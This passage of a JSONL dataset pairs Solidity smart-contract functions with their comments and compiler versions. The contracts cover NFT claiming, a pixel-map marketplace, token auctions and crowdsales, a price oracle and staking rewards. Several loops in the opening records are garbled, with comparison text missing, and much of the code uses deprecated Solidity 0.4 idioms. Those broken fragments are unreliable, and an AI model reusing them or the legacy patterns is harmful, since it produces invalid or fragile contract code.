}\r\n else if (_collection == CollectionToClaim.Series1) {\r\n for(uint i = 0; i 0);\r\n ids[i] = (tokenId + Series1start + mintStartIndex) % Series2total;\r\n }\r\n }\r\n else {\r\n revert();\r\n }\r\n \r\n return ids; \r\n \r\n }", "version": "0.8.7"} {"comment": "// CHECK IF SERIES 2 TOKEN IS CLAIMED", "function_code": "function check_claim(CollectionToClaim _collection, uint256[] memory tokenIds) public view returns(bool[] memory) {\r\n uint256[] memory ids = series2_token(_collection, tokenIds);\r\n bool[] memory isit = new bool[](tokenIds.length);\r\n for(uint i = 0; i 0 && tokenIds.length <= 15);\r\n\r\n if (_collection == CollectionToClaim.Series0) {\r\n for(uint i = 0; i 0);\r\n require(ClaimFromERC721(Series0Address).ownerOf(tokenId) == msg.sender);\r\n uint Series2idBeingMinted = (tokenId + Series0start + mintStartIndex) % Series2total;\r\n _safeMint(msg.sender, Series2idBeingMinted);\r\n emit Series2Claimed(_collection, tokenId, Series2idBeingMinted, msg.sender);\r\n }\r\n }\r\n \r\n else if (_collection == CollectionToClaim.Series1) {\r\n for(uint i = 0; i 0);\r\n require(ClaimFromERC721(Series1Address).ownerOf(tokenId) == msg.sender);\r\n uint Series2idBeingMinted = (tokenId + Series1start + mintStartIndex) % Series2total;\r\n _safeMint(msg.sender, Series2idBeingMinted);\r\n emit Series2Claimed(_collection, tokenId, Series2idBeingMinted, msg.sender);\r\n }\r\n }\r\n \r\n else {\r\n revert();\r\n }\r\n \r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Determine winner by tallying votes\r\n */", "function_code": "function _determineWinner(uint256 counter) internal view returns (uint256) {\r\n uint256 winner = currentAxonsNumbersForVotes[counter][0];\r\n uint256 highestVoteCount = 0;\r\n\r\n for (uint i=0; i<10; i++) {\r\n uint256 currentAxonNumber = currentAxonsNumbersForVotes[counter][i];\r\n uint256 currentVotesCount = currentVotesForAxonNumbers[counter][i];\r\n\r\n if (currentVotesCount > highestVoteCount) {\r\n winner = currentAxonNumber;\r\n highestVoteCount = currentVotesCount;\r\n }\r\n }\r\n\r\n return winner;\r\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Subtracts two signed integers, reverts on overflow.\n */", "function_code": "function sub(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a - b;\n require((b >= 0 && c <= a) || (b < 0 && c > a));\n\n return c;\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Adds two signed integers, reverts on overflow.\n */", "function_code": "function add(int256 a, int256 b) internal pure returns (int256) {\n int256 c = a + b;\n require((b >= 0 && c >= a) || (b < 0 && c < a));\n\n return c;\n }", "version": "0.4.24"} {"comment": "// Minting reserved tokens to the treasury wallet", "function_code": "function mintReserved(uint256 _mintAmount) external onlyOwner {\n require(_mintAmount > 0, \"amount to mint should be a positive number\");\n require(\n reservedMinted + _mintAmount <= WT_MAX_RESERVED_COUNT,\n \"cannot mint the amount requested\"\n );\n\n uint256 supply = currentIndex;\n require(\n supply + _mintAmount <= WT_TOTAL_SUPPLY,\n \"the collection is sold out\"\n );\n\n _mint(WALLET_TREASURY, _mintAmount, \"\", false);\n }", "version": "0.8.4"} {"comment": "// ------------------------------------------\n// ASSETS ACCESS MANAGEMENT", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n if (revealed == false) {\n return notRevealedUri;\n }\n uint256 assetIndex = tokenId + 1;\n\n string memory currentBaseURI = baseURI;\n return\n bytes(currentBaseURI).length > 0\n ? string(\n abi.encodePacked(\n currentBaseURI,\n assetIndex.toString(),\n baseExtension\n )\n )\n : \"\";\n }", "version": "0.8.4"} {"comment": "/// Convert from a pixel's x, y coordinates to its section index\n/// This is a helper function", "function_code": "function getSectionIndexFromRaw(\r\n uint _x,\r\n uint _y\r\n ) returns (uint) {\r\n if (_x >= mapWidth) throw;\r\n if (_y >= mapHeight) throw;\r\n // Convert raw x, y to section identifer x y\r\n _x = _x / 10;\r\n _y = _y / 10;\r\n //Get section_identifier from coords\r\n return _x + (_y * 100);\r\n }", "version": "0.4.11"} {"comment": "/// Get Section index based on its upper left x,y coordinates or \"identifier\"\n/// coordinates\n/// This is a helper function", "function_code": "function getSectionIndexFromIdentifier (\r\n uint _x_section_identifier,\r\n uint _y_section_identifier\r\n ) returns (uint) {\r\n if (_x_section_identifier >= (mapWidth / 10)) throw;\r\n if (_y_section_identifier >= (mapHeight / 10)) throw;\r\n uint index = _x_section_identifier + (_y_section_identifier * 100);\r\n return index;\r\n }", "version": "0.4.11"} {"comment": "/// Returns whether a section is available for purchase as a market sale", "function_code": "function sectionForSale(\r\n uint _section_index\r\n ) returns (bool) {\r\n if (_section_index >= sections.length) throw;\r\n Section s = sections[_section_index];\r\n // Has the user set the section as for_sale\r\n if(s.for_sale)\r\n {\r\n // Has the owner set a \"sell only to\" address?\r\n if(s.sell_only_to == 0x0) return true;\r\n if(s.sell_only_to == msg.sender) return true;\r\n return false;\r\n }\r\n else\r\n {\r\n // Not for sale\r\n return false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "/// Set an inidividual section as for sale at the provided price in wei.\n/// The section will be available for purchase by any address.", "function_code": "function setSectionForSale(\r\n uint _section_index,\r\n uint256 _price\r\n ) {\r\n if (_section_index >= sections.length) throw;\r\n Section section = sections[_section_index];\r\n if(section.owner != msg.sender) throw;\r\n section.price = _price;\r\n section.for_sale = true;\r\n section.sell_only_to = 0x0;\r\n NewListing(_section_index, _price);\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * @notice Constructor for contract. Sets token and beneficiary addresses.\r\n * @param _token token address - supposed to be DGTX address\r\n * @param _beneficiary recipient of received ethers\r\n */", "function_code": "function Auction(address _token, address _beneficiary, uint _startTime, uint _maxBidInCentsPerAddress)\r\n public\r\n payable\r\n Ownable()\r\n {\r\n require(_token != address(0));\r\n require(_beneficiary != address(0));\r\n require(_startTime > now);\r\n require(_maxBidInCentsPerAddress > 0);\r\n token = _token;\r\n beneficiary = _beneficiary;\r\n startTime = _startTime;\r\n endTime = startTime + 30 days;\r\n maxBidInCentsPerAddress = _maxBidInCentsPerAddress;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Fallback function.\r\n * During the auction receives and remembers participants bids.\r\n * After the sale is finished, withdraws tokens to participants.\r\n * It is not allowed to bid from contract (e.g., multisig).\r\n */", "function_code": "function () public payable {\r\n if (msg.sender == owner) {\r\n return;\r\n }\r\n require(now >= startTime);\r\n require(!isContract(msg.sender));\r\n\r\n if (!hasEnded()) {\r\n require(msg.value >= TRANSACTION_MIN_IN_ETH);\r\n bid(msg.sender, msg.value);\r\n } else {\r\n require(!withdrawn[msg.sender]);\r\n require(centsReceived[msg.sender] != 0);\r\n withdrawTokens(msg.sender);\r\n msg.sender.transfer(msg.value);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Get current price: dgtx to cents.\r\n * 25 cents in the beginning and linearly decreases by 1 cent every hour until it reaches 1 cent.\r\n * @return current token to cents price\r\n */", "function_code": "function getPrice() public view returns (uint) {\r\n if (now < startTime) {\r\n return START_PRICE_IN_CENTS;\r\n }\r\n uint passedHours = (now - startTime) / 1 hours;\r\n return (passedHours >= 24) ? MIN_PRICE_IN_CENTS : (25 - passedHours);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Function to receive transaction from oracle with new ETH rate.\r\n * @dev Calls updateEthToCentsRate in one hour (starts update cycle)\r\n * @param result string with new rate\r\n */", "function_code": "function __callback(bytes32, string result) public {\r\n require(msg.sender == oraclize_cbAddress());\r\n uint newEthToCents = parseInt(result, 2); // convert string to cents\r\n if (newEthToCents > 0) {\r\n ethToCents = newEthToCents;\r\n EthToCentsUpdated(ethToCents);\r\n } \r\n if (!hasEnded()) {\r\n updateEthToCentsRate(1 hours);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice Function to transfer tokens to participants in the range [_from, _to).\r\n * @param _from starting index in the range of participants to withdraw to\r\n * @param _to index after the last participant to withdraw to\r\n */", "function_code": "function distributeTokensRange(uint _from, uint _to) public {\r\n require(hasEnded());\r\n require(_from < _to && _to <= participants.length);\r\n\r\n address recipient;\r\n for (uint i = _from; i < _to; ++i) {\r\n recipient = participants[i];\r\n if (!withdrawn[recipient]) {\r\n withdrawTokens(recipient);\r\n }\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Function which records bids.\r\n * @param _bidder is the address that bids\r\n * @param _valueETH is value of THE bid in ether\r\n */", "function_code": "function bid(address _bidder, uint _valueETH) internal {\r\n uint price = getPrice();\r\n uint bidInCents = _valueETH * ethToCents / 1 ether;\r\n\r\n uint centsToAccept = bidInCents;\r\n uint ethToAccept = _valueETH;\r\n\r\n // Refund any ether above address bid limit\r\n if (centsReceived[_bidder] + centsToAccept > maxBidInCentsPerAddress) {\r\n centsToAccept = maxBidInCentsPerAddress - centsReceived[_bidder];\r\n ethToAccept = centsToAccept * 1 ether / ethToCents;\r\n }\r\n\r\n // Refund bid part which more than total tokens cost\r\n if (totalCentsCollected + centsToAccept > price * totalTokens / TOKEN_DECIMALS_MULTIPLIER) {\r\n centsToAccept = price * totalTokens / TOKEN_DECIMALS_MULTIPLIER - totalCentsCollected;\r\n ethToAccept = centsToAccept * 1 ether / ethToCents;\r\n }\r\n\r\n require(centsToAccept > 0 && ethToAccept > 0);\r\n\r\n if (centsReceived[_bidder] == 0) {\r\n participants.push(_bidder);\r\n }\r\n\r\n centsReceived[_bidder] += centsToAccept;\r\n totalCentsCollected += centsToAccept;\r\n Bid(_bidder, centsToAccept);\r\n\r\n if (ethToAccept < _valueETH) {\r\n _bidder.transfer(_valueETH - ethToAccept);\r\n }\r\n beneficiary.transfer(ethToAccept);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Internal function to withdraw tokens by final price.\r\n * @param _recipient participant to withdraw\r\n */", "function_code": "function withdrawTokens(address _recipient) internal {\r\n uint256 tokens = 0;\r\n if (totalCentsCollected < totalTokens * MIN_PRICE_IN_CENTS / TOKEN_DECIMALS_MULTIPLIER) {\r\n tokens = centsReceived[_recipient] * TOKEN_DECIMALS_MULTIPLIER / MIN_PRICE_IN_CENTS;\r\n } else {\r\n tokens = centsReceived[_recipient] * totalTokens / totalCentsCollected;\r\n }\r\n withdrawn[_recipient] = true;\r\n ERC223(token).transfer(_recipient, tokens);\r\n TokensWithdraw(_recipient, tokens);\r\n }", "version": "0.4.19"} {"comment": "/// Set a section region for sale at the provided price in wei.\n/// The sections in the region will be available for purchase by any address.", "function_code": "function setRegionForSale(\r\n uint _start_section_index,\r\n uint _end_section_index,\r\n uint _price\r\n ) {\r\n if(_start_section_index > _end_section_index) throw;\r\n if(_end_section_index > 9999) throw;\r\n uint x_pos = _start_section_index % 100;\r\n uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;\r\n uint x_max = _end_section_index % 100;\r\n uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;\r\n while(x_pos <= x_max)\r\n {\r\n uint y_pos = base_y_pos;\r\n while(y_pos <= y_max)\r\n {\r\n Section section = sections[x_pos + (y_pos * 100)];\r\n if(section.owner == msg.sender)\r\n {\r\n section.price = _price;\r\n section.for_sale = true;\r\n section.sell_only_to = 0x0;\r\n NewListing(x_pos + (y_pos * 100), _price);\r\n }\r\n y_pos++;\r\n }\r\n x_pos++;\r\n }\r\n }", "version": "0.4.11"} {"comment": "/// Set a section region starting in the top left at the supplied start section\n/// index to and including the supplied bottom right end section index\n/// for sale at the provided price in wei, to the provided address.\n/// The sections in the region will be available for purchase only by the\n/// provided address.", "function_code": "function setRegionForSaleToAddress(\r\n uint _start_section_index,\r\n uint _end_section_index,\r\n uint _price,\r\n address _only_sell_to\r\n ) {\r\n if(_start_section_index > _end_section_index) throw;\r\n if(_end_section_index > 9999) throw;\r\n uint x_pos = _start_section_index % 100;\r\n uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;\r\n uint x_max = _end_section_index % 100;\r\n uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;\r\n while(x_pos <= x_max)\r\n {\r\n uint y_pos = base_y_pos;\r\n while(y_pos <= y_max)\r\n {\r\n Section section = sections[x_pos + (y_pos * 100)];\r\n if(section.owner == msg.sender)\r\n {\r\n section.price = _price;\r\n section.for_sale = true;\r\n section.sell_only_to = _only_sell_to;\r\n NewListing(x_pos + (y_pos * 100), _price);\r\n }\r\n y_pos++;\r\n }\r\n x_pos++;\r\n }\r\n }", "version": "0.4.11"} {"comment": "/// Update a region of sections' cloud image_id and md5 to be redrawn on the\n/// map starting at the top left start section index to and including the\n/// bottom right section index. Fires a NewImage event with the top left\n/// section index. If any sections not owned by the sender are in the region\n/// they are ignored.", "function_code": "function setRegionImageDataCloud(\r\n uint _start_section_index,\r\n uint _end_section_index,\r\n uint _image_id,\r\n string _md5\r\n ) {\r\n if (_end_section_index < _start_section_index) throw;\r\n var (start_x, start_y) = getIdentifierFromSectionIndex(_start_section_index);\r\n var (end_x, end_y) = getIdentifierFromSectionIndex(_end_section_index);\r\n if (start_x >= mapWidth) throw;\r\n if (start_y >= mapHeight) throw;\r\n if (end_x >= mapWidth) throw;\r\n if (end_y >= mapHeight) throw;\r\n uint y_pos = start_y;\r\n while (y_pos <= end_y)\r\n {\r\n uint x_pos = start_x;\r\n while (x_pos <= end_x)\r\n {\r\n uint identifier = (x_pos + (y_pos * 100));\r\n Section s = sections[identifier];\r\n if(s.owner == msg.sender)\r\n {\r\n s.image_id = _image_id;\r\n s.md5 = _md5;\r\n }\r\n x_pos = x_pos + 1;\r\n }\r\n y_pos = y_pos + 1;\r\n }\r\n NewImage(_start_section_index);\r\n return;\r\n }", "version": "0.4.11"} {"comment": "/// Set a single section as for sale at the provided price in wei only\n/// to the supplied address.", "function_code": "function setSectionForSaleToAddress(\r\n uint _section_index,\r\n uint256 _price,\r\n address _to\r\n ) {\r\n if (_section_index >= sections.length) throw;\r\n Section section = sections[_section_index];\r\n if(section.owner != msg.sender) throw;\r\n section.price = _price;\r\n section.for_sale = true;\r\n section.sell_only_to = _to;\r\n NewListing(_section_index, _price);\r\n }", "version": "0.4.11"} {"comment": "/// Delist a region of sections for sale. Making the sections no longer\n/// no longer available on the market.", "function_code": "function unsetRegionForSale(\r\n uint _start_section_index,\r\n uint _end_section_index\r\n ) {\r\n if(_start_section_index > _end_section_index) throw;\r\n if(_end_section_index > 9999) throw;\r\n uint x_pos = _start_section_index % 100;\r\n uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;\r\n uint x_max = _end_section_index % 100;\r\n uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;\r\n while(x_pos <= x_max)\r\n {\r\n uint y_pos = base_y_pos;\r\n while(y_pos <= y_max)\r\n {\r\n Section section = sections[x_pos + (y_pos * 100)];\r\n if(section.owner == msg.sender)\r\n {\r\n section.for_sale = false;\r\n section.price = 0;\r\n Delisted(x_pos + (y_pos * 100));\r\n }\r\n y_pos++;\r\n }\r\n x_pos++;\r\n }\r\n }", "version": "0.4.11"} {"comment": "/// Depreciated. Store the raw image data in the contract.", "function_code": "function setImageData(\r\n uint _section_index\r\n // bytes32 _row_zero,\r\n // bytes32 _row_one,\r\n // bytes32 _row_two,\r\n // bytes32 _row_three,\r\n // bytes32 _row_four,\r\n // bytes32 _row_five,\r\n // bytes32 _row_six,\r\n // bytes32 _row_seven,\r\n // bytes32 _row_eight,\r\n // bytes32 _row_nine\r\n ) {\r\n if (_section_index >= sections.length) throw;\r\n Section section = sections[_section_index];\r\n if(section.owner != msg.sender) throw;\r\n // section.image_data[0] = _row_zero;\r\n // section.image_data[1] = _row_one;\r\n // section.image_data[2] = _row_two;\r\n // section.image_data[3] = _row_three;\r\n // section.image_data[4] = _row_four;\r\n // section.image_data[5] = _row_five;\r\n // section.image_data[6] = _row_six;\r\n // section.image_data[7] = _row_seven;\r\n // section.image_data[8] = _row_eight;\r\n // section.image_data[9] = _row_nine;\r\n section.image_id = 0;\r\n section.md5 = \"\";\r\n section.last_update = block.timestamp;\r\n NewImage(_section_index);\r\n }", "version": "0.4.11"} {"comment": "/// Set a section's image data to be redrawn on the map. Fires a NewImage\n/// event.", "function_code": "function setImageDataCloud(\r\n uint _section_index,\r\n uint _image_id,\r\n string _md5\r\n ) {\r\n if (_section_index >= sections.length) throw;\r\n Section section = sections[_section_index];\r\n if(section.owner != msg.sender) throw;\r\n section.image_id = _image_id;\r\n section.md5 = _md5;\r\n section.last_update = block.timestamp;\r\n NewImage(_section_index);\r\n }", "version": "0.4.11"} {"comment": "/**\n * @dev low level token purchase ***DO NOT OVERRIDE***\n * This function has a non-reentrancy guard, so it shouldn't be called by\n * another `nonReentrant` function.\n * @param beneficiary Recipient of the token purchase\n */", "function_code": "function buyTokens(address beneficiary) public nonReentrant payable {\n uint256 weiAmount = msg.value;\n _preValidatePurchase(beneficiary, weiAmount);\n\n // calculate token amount to be created\n uint256 tokens = _getTokenAmount(weiAmount);\n\n // update state\n _weiRaised = _weiRaised.add(weiAmount);\n\n _processPurchase(beneficiary, tokens);\n emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);\n\n // _updatePurchasingState(beneficiary, weiAmount);\n\n _forwardFunds();\n // _postValidatePurchase(beneficiary, weiAmount);\n }", "version": "0.4.24"} {"comment": "/** this can only be done once, so this oracle is solely for working with\r\n * three AssetSwap contracts\r\n * assetswap 0 is the ETH, at 2.5 leverage\r\n * assetswap 1 is the SPX, at 10x leverage\r\n * assetswap 2 is the BTC, at 2.5 leverage\r\n *\r\n */", "function_code": "function addAssetSwaps(address newAS0, address newAS1, address newAS2)\r\n external\r\n onlyAdmin\r\n {\r\n require(assetSwaps[0] == address(0));\r\n assetSwaps[0] = newAS0;\r\n assetSwaps[1] = newAS1;\r\n assetSwaps[2] = newAS2;\r\n readers[newAS0] = true;\r\n readers[newAS1] = true;\r\n readers[newAS2] = true;\r\n }", "version": "0.5.15"} {"comment": "/** Quickly fix an erroneous price, or correct the fact that 50% movements are\r\n * not allowed in the standard price input\r\n * this must be called within 60 minutes of the initial price update occurence\r\n */", "function_code": "function editPrice(uint _ethprice, uint _spxprice, uint _btcprice)\r\n external\r\n onlyAdmin\r\n {\r\n require(now < lastUpdateTime + 60 minutes);\r\n prices[0][currentDay] = _ethprice;\r\n prices[1][currentDay] = _spxprice;\r\n prices[2][currentDay] = _btcprice;\r\n emit PriceUpdated(_ethprice, _spxprice, _btcprice, now, currentDay, true);\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * @return startDay relevant for trades done now\r\n * pulls the day relevant for new AssetSwap subcontracts\r\n * startDay 2 means the 2 slot (ie, the third) of prices will be the initial\r\n * price for the subcontract. As 5 is the top slot, and rolls into slot 0\r\n * the next week, the next pricing day is 1 when the current day == 5\r\n * (this would be a weekend or Monday morning)\r\n */", "function_code": "function getStartDay()\r\n public\r\n view\r\n returns (uint8 _startDay)\r\n {\r\n if (nextUpdateSettle) {\r\n _startDay = 5;\r\n } else if (currentDay == 5) {\r\n _startDay = 1;\r\n } else {\r\n _startDay = currentDay + 1;\r\n }\r\n }", "version": "0.5.15"} {"comment": "/// Transfer a region of sections and IPO tokens to the supplied address.", "function_code": "function transferRegion(\r\n uint _start_section_index,\r\n uint _end_section_index,\r\n address _to\r\n ) {\r\n if(_start_section_index > _end_section_index) throw;\r\n if(_end_section_index > 9999) throw;\r\n uint x_pos = _start_section_index % 100;\r\n uint base_y_pos = (_start_section_index - (_start_section_index % 100)) / 100;\r\n uint x_max = _end_section_index % 100;\r\n uint y_max = (_end_section_index - (_end_section_index % 100)) / 100;\r\n while(x_pos <= x_max)\r\n {\r\n uint y_pos = base_y_pos;\r\n while(y_pos <= y_max)\r\n {\r\n Section section = sections[x_pos + (y_pos * 100)];\r\n if(section.owner == msg.sender)\r\n {\r\n if (balanceOf[_to] + 1 < balanceOf[_to]) throw;\r\n section.owner = _to;\r\n section.for_sale = false;\r\n balanceOf[msg.sender] -= 1;\r\n balanceOf[_to] += 1;\r\n }\r\n y_pos++;\r\n }\r\n x_pos++;\r\n }\r\n }", "version": "0.4.11"} {"comment": "// this function will only return the no of dai can pay till now", "function_code": "function getCurrentInstallment(address _addr) public view returns(uint256) {\r\n require(registeredusers[_addr],'you are not registered');\r\n \r\n \r\n if(block.timestamp > users[_addr].time){\r\n return users[_addr].daiamount;\r\n } \r\n uint256 timeleft = users[_addr].time.sub(block.timestamp);\r\n \r\n uint256 amt = users[_addr].daiamount.mul(1e18).div(users[_addr].months);\r\n uint256 j;\r\n for(uint256 i = users[_addr].months;i>0;i--){\r\n if(timeleft <= oneMonthTime || timeleft == 0){\r\n return users[_addr].daiamount;\r\n }\r\n j= j.add(1);\r\n if(timeleft > i.sub(1).mul(oneMonthTime)){\r\n return amt.mul(j).div(1e18);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* only owner address can do manual refund\r\n * used only if bet placed + oraclize failed to __callback\r\n * filter LogBet by address and/or playerBetId:\r\n * LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]);\r\n * check the following logs do not exist for playerBetId and/or playerAddress[rngId] before refunding:\r\n * LogResult or LogRefund\r\n * if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions \r\n */", "function_code": "function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public \r\n\t\tonlyOwner\r\n { \r\n /* safely reduce pendingPayouts by playerProfit[rngId] */\r\n maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit);\r\n /* send refund */\r\n if(!sendTo.send(originalPlayerBetValue)) throw;\r\n /* log refunds */\r\n LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue); \r\n }", "version": "0.4.10"} {"comment": "/**************************************************** Public Interface for Stakers **************************************************************/", "function_code": "function createNewStake(uint256 _amount, uint8 _lockupPeriod, bool _compound) public {\r\n require(!paused, \"New stakes are paused\");\r\n require(_isValidLockupPeriod(_lockupPeriod), \"The lockup period is invalid\");\r\n require(_amount >= 5000000000000000000000, \"You must stake at least 5000 LIT\");\r\n require(_canStakeToday(), \"You can't start a stake until the first day of next month\");\r\n require(IERC20(litionToken).transferFrom(msg.sender, address(this), _amount), \"Couldn't take the LIT from the sender\");\r\n \r\n Stake memory stake = Stake({createdOn: now, \r\n totalStaked:_amount, \r\n lockupPeriod:_lockupPeriod, \r\n compound:_compound, \r\n isFinished:false});\r\n \r\n Stake[] storage stakes = stakeListBySender[msg.sender].stakes;\r\n stakes.push(stake);\r\n _addStakerIfNotExist(msg.sender);\r\n \r\n emit NewStake(msg.sender, _amount, _lockupPeriod, _compound);\r\n }", "version": "0.5.12"} {"comment": "// Will be called monthly, at the end of each month", "function_code": "function _accreditRewards() public onlyOwner {\r\n uint256 totalToAccredit = getTotalRewardsToBeAccredited();\r\n require(IERC20(litionToken).transferFrom(msg.sender, address(this), totalToAccredit), \"Couldn't take the LIT from the sender\");\r\n\r\n for (uint256 i = 0; i < stakers.length; i++) {\r\n StakeList storage stakeList = stakeListBySender[stakers[i]];\r\n uint256 rewardsToBeAccredited = stakeList.rewardsToBeAccredited;\r\n if (rewardsToBeAccredited > 0) {\r\n stakeList.rewardsToBeAccredited = 0;\r\n stakeList.rewards += rewardsToBeAccredited;\r\n \r\n emit RewardsAccreditedToStaker(stakers[i], rewardsToBeAccredited);\r\n }\r\n }\r\n \r\n emit RewardsAccredited(totalToAccredit);\r\n }", "version": "0.5.12"} {"comment": "// Will be called every day to distribute the accumulated new MiningReward events coming from LitionRegistry", "function_code": "function _updateRewardsToBeAccredited(uint256 _fromMiningRewardBlock, uint256 _toMiningRewardBlock, uint256 _amount) public onlyOwner {\r\n require(_fromMiningRewardBlock < _toMiningRewardBlock, \"Invalid params\");\r\n require(_fromMiningRewardBlock > lastMiningRewardBlock, \"Rewards already distributed\");\r\n \r\n lastMiningRewardBlock = _toMiningRewardBlock;\r\n \r\n //Won't consider any stake marked as isFinished\r\n \r\n uint256 fees = _amount.mul(5) / 100; // Amount the validator will keep for himself\r\n uint256 totalParts = _calculateParts();\r\n\r\n _distributeBetweenStakers(totalParts, _amount.sub(fees));\r\n\r\n emit RewardsToBeAccreditedDistributed(_amount);\r\n }", "version": "0.5.12"} {"comment": "/**************************************************** Internal Admin - Lockups **************************************************************/", "function_code": "function calculateFinishTimestamp(uint256 _timestamp, uint8 _lockupPeriod) public pure returns (uint256) {\r\n uint16 year = Date.getYear(_timestamp);\r\n uint8 month = Date.getMonth(_timestamp);\r\n month += _lockupPeriod;\r\n if (month > 12) {\r\n year += 1;\r\n month = month % 12;\r\n }\r\n uint8 newDay = Date.getDaysInMonth(month, year);\r\n return Date.toTimestamp(year, month, newDay);\r\n }", "version": "0.5.12"} {"comment": "/**************************************************** Internal Admin - Validations **************************************************************/", "function_code": "function _isValidLockupPeriod(uint8 n) internal pure returns (bool) {\r\n if (n == 1) {\r\n return true;\r\n }\r\n else if (n == 3) {\r\n return true;\r\n }\r\n else if (n == 6) {\r\n return true;\r\n }\r\n else if (n == 12) {\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.5.12"} {"comment": "// get back the BET before claimingPhase", "function_code": "function getRefund(uint _gameID) external {\r\n require(now < games[_gameID].claimingPhaseStart - 1 days);\r\n require(games[_gameID].tickets[msg.sender]>0);\r\n games[_gameID].tickets[msg.sender] -= 1;\r\n games[_gameID].numTickets -= 1;\r\n uint refund = games[_gameID].ticketPrice * REFUND_PERCENT / 100;\r\n uint admin_fee = games[_gameID].ticketPrice *\r\n (100 - REFUND_PERCENT - MAINTENANCE_FEE_PERCENT) / 100;\r\n admin_profit += admin_fee;\r\n games[_gameID].balance -= games[_gameID].ticketPrice *\r\n (100 - MAINTENANCE_FEE_PERCENT) / 100;\r\n msg.sender.transfer(refund);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Buy tokens function\n/// @param beneficiary Address which will receive the tokens", "function_code": "function buyTokens(address beneficiary) public payable {\r\n require(beneficiary != address(0));\r\n require(helper.isWhitelisted(beneficiary));\r\n uint256 weiAmount = msg.value;\r\n require(weiAmount > 0);\r\n uint256 tokenAmount = 0;\r\n if (isPresale()) {\r\n /// Minimum contribution of 1 ether during presale\r\n require(weiAmount >= 1 ether); \r\n tokenAmount = getTokenAmount(weiAmount, preDiscountPercentage);\r\n uint256 newTokensSoldPre = tokensSoldPre.add(tokenAmount);\r\n require(newTokensSoldPre <= preCap);\r\n tokensSoldPre = newTokensSoldPre;\r\n } else if (isIco()) {\r\n uint8 discountPercentage = getIcoDiscountPercentage();\r\n tokenAmount = getTokenAmount(weiAmount, discountPercentage);\r\n /// Minimum contribution 1 token during ICO\r\n require(tokenAmount >= 10**18); \r\n uint256 newTokensSoldIco = tokensSoldIco.add(tokenAmount);\r\n require(newTokensSoldIco <= icoCap);\r\n tokensSoldIco = newTokensSoldIco;\r\n } else {\r\n /// Stop execution and return remaining gas\r\n require(false);\r\n }\r\n executeTransaction(beneficiary, weiAmount, tokenAmount);\r\n }", "version": "0.4.19"} {"comment": "/// @dev Internal function used for calculating ICO discount percentage depending on levels", "function_code": "function getIcoDiscountPercentage() internal constant returns (uint8) {\r\n if (tokensSoldIco <= icoDiscountLevel1) {\r\n return icoDiscountPercentageLevel1;\r\n } else if (tokensSoldIco <= icoDiscountLevel1.add(icoDiscountLevel2)) {\r\n return icoDiscountPercentageLevel2;\r\n } else { \r\n return icoDiscountPercentageLevel3; //for everything else\r\n }\r\n }", "version": "0.4.19"} {"comment": "/// @dev Internal function used to calculate amount of tokens based on discount percentage", "function_code": "function getTokenAmount(uint256 weiAmount, uint8 discountPercentage) internal constant returns (uint256) {\r\n /// Less than 100 to avoid division with zero\r\n require(discountPercentage >= 0 && discountPercentage < 100); \r\n uint256 baseTokenAmount = weiAmount.mul(rate);\r\n uint256 tokenAmount = baseTokenAmount.mul(10000).div(100 - discountPercentage);\r\n return tokenAmount;\r\n }", "version": "0.4.19"} {"comment": "/// @dev Change discount percentages for different phases\n/// @param _icoDiscountPercentageLevel1 Discount percentage of phase 1\n/// @param _icoDiscountPercentageLevel2 Discount percentage of phase 2\n/// @param _icoDiscountPercentageLevel3 Discount percentage of phase 3", "function_code": "function changeIcoDiscountPercentages(uint8 _icoDiscountPercentageLevel1, uint8 _icoDiscountPercentageLevel2, uint8 _icoDiscountPercentageLevel3) public onlyOwner {\r\n require(_icoDiscountPercentageLevel1 >= 0 && _icoDiscountPercentageLevel1 < 100);\r\n require(_icoDiscountPercentageLevel2 >= 0 && _icoDiscountPercentageLevel2 < 100);\r\n require(_icoDiscountPercentageLevel3 >= 0 && _icoDiscountPercentageLevel3 < 100);\r\n IcoDiscountPercentagesChanged(owner, _icoDiscountPercentageLevel1, _icoDiscountPercentageLevel2, _icoDiscountPercentageLevel3);\r\n icoDiscountPercentageLevel1 = _icoDiscountPercentageLevel1;\r\n icoDiscountPercentageLevel2 = _icoDiscountPercentageLevel2;\r\n icoDiscountPercentageLevel3 = _icoDiscountPercentageLevel3;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n Configure redemption amounts for each group. ONE token of _groupIdin results\r\n in _amountOut number of _groupIdOut tokens\r\n \r\n @param _groupIdIn The group ID of the token being redeemed\r\n @param _groupIdIn The group ID of the token being received\r\n @param _data The redemption config data input.\r\n */", "function_code": "function setRedemptionConfig(uint256 _groupIdIn, uint256 _groupIdOut, address _tokenOut, RedemptionConfig calldata _data) external onlyOwner {\r\n redemptionConfigs[_groupIdIn][_tokenOut] = 